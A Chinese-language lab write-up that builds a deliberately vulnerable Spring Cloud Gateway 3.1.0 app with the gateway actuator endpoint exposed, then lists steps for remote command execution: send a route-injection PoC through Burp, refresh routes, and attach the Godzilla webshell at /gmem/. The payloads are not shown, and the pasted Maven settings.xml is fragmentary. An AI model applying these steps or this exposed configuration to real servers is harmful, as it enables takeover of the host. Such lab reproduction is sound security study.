0X01 环境搭建(从零到一)

Java环境：JDK 8

物理机环境：Windows 11

Maven版本：3.9.8

IDEA版本：最新版本

熟悉Java的师傅可以直接skip到下面漏洞原理以及复现

Idea打开，新建SpringBoot项目

选择SpringBoot->配置aliyun服务url:https://start.aliyun.com/ ->选择Java语言->Tpye: Maven -> 选择JDK8(两个都选) -> Next

选择SpringBoot 2.4.2

搜索Gateway，勾选Gateway，这里注意一下坑点，选择springboot点击后Springboot上面的版本会变回2.6，注意要改回来，然后点击 创建

这里给没有Java基础的友友理解一下，Demo7Application 是主文件，是程序入口(main方法在这里)

pom.xml 文件是想要下载依赖的配置文件(要下载什么依赖，就在这里添加，后面Maven会去自动下载)

将pom.xml文件内容替换为一下代码

pom.xml文件实际添加了

添加了SpringBoot版本

    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.5.2</version>
    <relativePath/> <!-- lookup parent from repository -->
</parent>

添加了两个有漏洞的依赖

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-gateway</artifactId>
    <version>3.1.0</version>
</dependency>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

将Maven配置为Maven下载的路径

打开Maven下载路径 (因为配置Maven路径前这里需要将settings文件修改一下)

将之前的settings.xml内容替换为(这里我直接替换文件了，1.xml是原来的settings.xml文件)

<?xml version="1.0" encoding="UTF-8"?>

 | This is the configuration file for Maven. It can be specified at two levels:
 |
 |  1. User Level. This settings.xml file provides configuration for a single user,
 |                 and is normally provided in ${user.home}/.m2/settings.xml.
 |
 |                 NOTE: This location can be overridden with the CLI option:
 |
 |                 -s /path/to/user/settings.xml
 |
 |  2. Global Level. This settings.xml file provides configuration for all Maven
 |                 users on a machine (assuming they're all using the same Maven
 |                 installation). It's normally provided in
 |                 ${maven.conf}/settings.xml.
 |

 |
 |                 -gs /path/to/global/settings.xml
 |
 | The sections in this sample file are intended to give you a running start at
 | getting the most out of your Maven installation. Where appropriate, the default
 | values (values used when the setting is not specified) are provided.

  <!-- mirrors
   | This is a list of mirrors to be used in downloading artifacts from remote repositories.
   |
   | It works like this: a POM may declare a repository to use in resolving certain artifacts.
   | However, this repository may have problems with heavy traffic at times, so people have mirrored
   | it to several places.
   |
   | That repository definition will have a unique id, so we can create a mirror reference for that
   | repository, to be used as an alternate download site. The mirror site will be the preferred
   | server for that repository.

  <mirrors>
    <!-- mirror
     | Specifies a repository mirror site to use instead of a given repository. The repository that
     | this mirror serves has an ID that matches the mirrorOf element of this mirror. IDs are used
     | for inheritance and direct lookup purposes, and must be unique across the set of mirrors.

  <!-- profiles
   | This is a list of profiles which can be activated in a variety of ways, and which can modify
   | the build process. Profiles provided in the settings.xml are intended to provide local machine-
   | specific paths and repository locations which allow the build to work in the local environment.
   |
   | For example, if you have an integration testing plugin - like cactus - that needs to know where
   | your Tomcat instance is installed, you can provide a variable here such that the variable is
   | dereferenced during the build process to configure the cactus plugin.
   |
   | As noted above, profiles can be activated in a variety of ways. One way - the activeProfiles
   | section of this document (settings.xml) - will be discussed later. Another way essentially
   | relies on the detection of a property, either matching a particular value for the property,
   | or merely testing its existence. Profiles can also be activated by JDK version prefix, where a
   | value of '1.4' might activate a profile when the build is executed on a JDK version of '1.4.2_07'.
   | Finally, the list of active profiles can be specified directly from the command line.
   |
   | NOTE: For profiles defined in the settings.xml, you are restricted to specifying only artifact
   |       repositories, plugin repositories, and free-form properties to be used as configuration
   |       variables for plugins in the POM.
   |
   |-->
  <profiles>
    <!-- profile
     | Specifies a set of introductions to the build process, to be activated using one or more of the
     | mechanisms described above. For inheritance purposes, and to activate profiles via <activatedProfiles/>
     | or the command line, profiles have to have an ID that is unique.
     |
     | An encouraged best practice for profile identification is to use a consistent naming convention
     | for profiles, such as 'env-dev', 'env-test', 'env-production', 'user-jdcasey', 'user-brett', etc.
     | This will make it more intuitive to understand what the set of introduced profiles is attempting
     | to accomplish, particularly when you only have a list of profile id's for debug.
     |
     | This profile example uses the JDK version to trigger activation, and provides a JDK-specific repo.

    <!--
     | Here is another profile, activated by the property 'target-env' with a value of 'dev', which
     | provides a specific path to the Tomcat instance. To use this, your plugin configuration might
     | hypothetically look like:

     |   </configuration>
     | </plugin>
     | ...
     |
     | NOTE: If you just wanted to inject this configuration whenever someone set 'target-env' to
     |       anything, you could just leave off the <value/> inside the activation-property.
     |

这里替换为自己的Maven路径(repository文件夹是自己创建的，需要手工创建一下)

repository文件夹创建在Maven的bin文件夹同级目录下

这里将文件路径加载为刚刚配置的settings文件路径

java同级目录创建resources文件夹

创建application.yml文件

添加内容为：//port是项目启动时服务的端口

server:
  port: 8081

management:
  endpoints:
    web:
      exposure:
        include: gateway
  endpoint:
    gateway:
      enabled: true
spring:
  cloud:
    gateway:
      routes:
        - id: baidu
          uri: 'https://www.baidu.com/'
          order: 8000
          predicates:
            - Path=/skip/baidu
          filters:
            - StripPrefix=2

找到主文件，启动项目

访问路径：/actuator/gateway/routes 搭建成功

0X02 漏洞复现 (命令执行)

访问url：http://127.0.0.1:8081/    (这里我用的8081端口起的服务)

使用burp抓包，放到重发器

1. 构造poc1创建hacker文件：

2. 刷新路由

3. 哥斯拉连接，路径为：http://127.0.0.1:8081/gmem/  

选择Java类型，如果连接执行终端命令回显乱码可以将哥斯拉编码修改一下 (如果哥斯拉连接不上，就去用左后一个GET数据包访问一下文件)
